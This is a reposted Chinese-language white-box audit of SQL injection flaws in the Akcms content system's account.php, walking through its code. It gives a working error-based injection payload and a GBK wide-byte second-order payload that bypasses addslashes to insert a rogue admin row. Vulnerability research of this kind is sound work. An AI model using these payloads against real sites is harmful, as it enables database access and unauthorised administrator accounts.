网易首页 > 网易号 > 正文 申请入驻

审计|Akcms注入漏洞的insert与select组合拳

0
分享至

本篇文章由团队成员提供:HeiHu577

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

0x00 安装

首先下载这个Cms光从安装向导就发现了一个敏感的玩意。

网站Mysql默认采用 Gbk 编码,这会造成宽字节注入漏洞。

随后简单分析了一下这套CMS。看了一下运行流程。关于MVC的东西这里就不再说明了。

0x01 漏洞源头

漏洞文件:akcms/account.php

漏洞URL:


akcms/index.php?file=account&action=manageaccounts&job=newaccount

Payload:


报错注入,POST发送:account=12' or updatexml(1,concat(1,user()),1) -- &password=12

二次注入,POST发送:account=1'# %df',123),(user(),123)# &password=1

0x02 代码分析

akcms/account.php文件的第70-76行

71行有查询操作,可以看到被引号所包裹,接收POST居然无任何过滤。但是有一定局限性,因为这里是用if语句进行判断然后走分支,所以没有回显。

但是如果报错开启的情况下我们可以进行报错注入。

看一下 get_by成员方法

Get_by方法没有进行任何过滤操作。

构造Payload:


account=12' or updatexml(1,concat(1,user()),1) -- &password=12

结果:

但是没有开启报错注入情况下呢,我们把目光放在76行的插入操作。


$value = array('editor' => $post_account,'password' => ak_md5($post_password, 0, 2)$db->insert('admins', $value);

76行进行了插入操作,(为了实现后台添加管理员账号密码)

再来看一下insert成员方法

Insert方法将传递过去的数据进行addslashes引号转义,如果站长使用默认GBK形式的话,我们可以进行使用宽字节注入进行绕过。


foreach($values as $key => $value) {$keysql .= "`$key`,";$valuesql .= "'".$this->addslashes($value)."',";

现在我们可控点如下:


INSERT INTO `ak_admins`(`editor`,`password`)VALUES('xxxx','c8b2f17833a4c73bb20f88876219ddcd')

有addslashes防御,根据语句我们想到可以这样构造Payload:


1%df',1),(user(),2) --INSERT INTO `ak_admins`(`editor`,`password`)VALUES('1%df',1),(user(),2) -- ','c8b2f17833a4c73bb20f88876219ddcd')

按道理,我们是可以插入进去两条数据的,一条为1,一条为数据库user函数的返回值。

但是意外却出现了,如图:

前面的SELECT查询语句把我们的Payload给暂停了,那么现在就有点意思了。我们非要进行二次注入。那就得绕过。

首先可控点1:SELECT * FROM 表 WHERE 字段='可控'

可控点2:INSERT INTO 表(字段1,字段2) VALUES('可控',一堆MD5…)

首先SELECT语句如果出现语法错误,那么就不会继续往下执行,所以我们构造Payload:


1'# %df',123),(user(),123)#

则可控点1 成为了

SELECT * FROM 表 WHERE 字段='1'# %df',123),(user(),123)#

#把后面的语句全都注释了,那么我们再来看一下可控点2


INSERT INTO 表(字段1,字段2) VALUES('\'# %df',123),(user(),123)#',一堆MD5…)

因为可控点2有addslashes转义操作,所以我们的第一个引号被转义,第二个引号我们使用%df进行宽字节注入,逃逸addslashes,之后的语句就是插入的第二条数据,(user(),123),会往数据库插入一条用户名为user函数返回值,密码为123的数据。如图:

整个漏洞详细过程圆满结束。

0x03 挖掘后事

对这次白盒审计感觉站长还是考虑的不到位,居然默认支持GBK编码,第一个报错注入居然没有任何过滤操作,导致我们可以直接闭合,发送我们喜爱的SQL语句。第二个二次注入我们可以直接利用GBK来进行宽字节注入,也可以发送我们喜爱的SQL语句。作者给了我们喜爱的SQL注入,我们该不该喜爱写BUG的站长?

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
中国观众认定的烂片,北美观众当成宝,票房破12亿夺全球冠军

中国观众认定的烂片,北美观众当成宝,票房破12亿夺全球冠军

靠谱电影君
2024-06-15 23:05:02
王思聪21岁现任宣战!曝大量私照长腿吸睛颜值高,甜蜜躺女方腿上

王思聪21岁现任宣战!曝大量私照长腿吸睛颜值高,甜蜜躺女方腿上

裕丰娱间说
2024-06-15 18:49:24
反抗有罪,投降有理?我们为何要大力支持徐辉批判乌克兰的言论?(一)

反抗有罪,投降有理?我们为何要大力支持徐辉批判乌克兰的言论?(一)

静夜史君
2024-06-15 03:06:19
突然宣布!王力宏退出

突然宣布!王力宏退出

大永强
2024-06-16 10:27:24
中俄签订重要武器订单, 这次我国不再退让, 俄需答应一个特殊条件

中俄签订重要武器订单, 这次我国不再退让, 俄需答应一个特殊条件

星辰故事屋
2024-06-14 19:01:58
深夜12点!桑尼宣布,拿下中国第一个代言大单,点名称赞国足一哥

深夜12点!桑尼宣布,拿下中国第一个代言大单,点名称赞国足一哥

元爸体育
2024-06-16 16:04:46
网传女子与黑人恋爱怀孕,被要求堕胎,当街崩溃:CTM吃我穿我用我

网传女子与黑人恋爱怀孕,被要求堕胎,当街崩溃:CTM吃我穿我用我

小萝卜丝
2024-06-15 10:27:42
江苏省长许昆林新身份曝光,江苏造船订单占全球近三分之一

江苏省长许昆林新身份曝光,江苏造船订单占全球近三分之一

匹夫来搞笑
2024-06-16 16:03:44
期限只剩最后2天!菲律宾救兵到了,3艘055舰应对,歼16已挂实弹

期限只剩最后2天!菲律宾救兵到了,3艘055舰应对,歼16已挂实弹

影孖看世界
2024-06-13 20:47:29
A股:传来两个信息,明天行情或开始加速!

A股:传来两个信息,明天行情或开始加速!

金美圆的财经笔记
2024-06-16 12:16:37
离谱!刚出的联名杯子立马就被黄牛上架,看到价格沉默了

离谱!刚出的联名杯子立马就被黄牛上架,看到价格沉默了

苹果牛看游戏
2024-06-16 10:45:36
网传多地赴日旅游签证被拒,铁头遭舆论反噬:一个老鼠坏了一锅汤

网传多地赴日旅游签证被拒,铁头遭舆论反噬:一个老鼠坏了一锅汤

刚哥说法365
2024-06-16 18:02:48
女主播爆料行业内幕,大量女主播都有价格,周淑怡确实值百万

女主播爆料行业内幕,大量女主播都有价格,周淑怡确实值百万

新游戏大妹子
2024-06-14 11:43:32
门神你好,新加坡国门哈桑-桑尼现身上海出席活动

门神你好,新加坡国门哈桑-桑尼现身上海出席活动

懂球帝
2024-06-16 16:01:08
著名女优玩偶姐姐HongKongDoll,被爆料真实面目?

著名女优玩偶姐姐HongKongDoll,被爆料真实面目?

吃瓜党二号头目
2024-06-13 10:15:52
奥斯梅恩直播中怒喷尼日利亚主帅,后者几小时后宣布辞职❗️

奥斯梅恩直播中怒喷尼日利亚主帅,后者几小时后宣布辞职❗️

直播吧
2024-06-16 17:49:03
男篮3大主力,离队原因揭晓!郭士强不留情面,胡明轩徐杰引争议

男篮3大主力,离队原因揭晓!郭士强不留情面,胡明轩徐杰引争议

十点体坛
2024-06-15 22:49:07
松绑后的乌克兰能不能一举打垮俄罗斯?

松绑后的乌克兰能不能一举打垮俄罗斯?

不死好鸟
2024-06-15 23:57:24
【图集】直击河南干旱,村民:“活了50年,没见过这样的干旱”

【图集】直击河南干旱,村民:“活了50年,没见过这样的干旱”

界面新闻
2024-06-16 10:08:36
美国前商务部长:拜登政府对中国的政策就像“精神分裂症”,一面派耶伦、布林肯来谈判,另一面又不断言语攻击中国

美国前商务部长:拜登政府对中国的政策就像“精神分裂症”,一面派耶伦、布林肯来谈判,另一面又不断言语攻击中国

国际在线
2024-06-16 17:33:11
2024-06-16 20:08:49
渗透云笔记
渗透云笔记
微信公众号渗透云笔记
190文章数 362关注度
往期回顾 全部

科技要闻

iPhone 16会杀死大模型APP吗?

头条要闻

凯特王妃患癌后首次露面 小王子跳舞抢镜被姐姐制止

头条要闻

凯特王妃患癌后首次露面 小王子跳舞抢镜被姐姐制止

体育要闻

没人永远年轻 但青春如此无敌还是离谱了些

娱乐要闻

上影节红毯:倪妮好松弛,娜扎吸睛

财经要闻

打断妻子多根肋骨 上市公司创始人被公诉

汽车要闻

售17.68万-21.68万元 极狐阿尔法S5正式上市

态度原创

亲子
房产
教育
健康
时尚

亲子要闻

原来你是这样的爸爸!

房产要闻

万华对面!海口今年首宗超百亩宅地,重磅挂出!

教育要闻

南医大被罚老师因救人迟到受处分 校方第二天删除通告 律师发话

晚餐不吃or吃七分饱,哪种更减肥?

建议中年男人:包包尽量别背“LV、Gucci”,换成另外3种更有格调

无障碍浏览 进入关怀版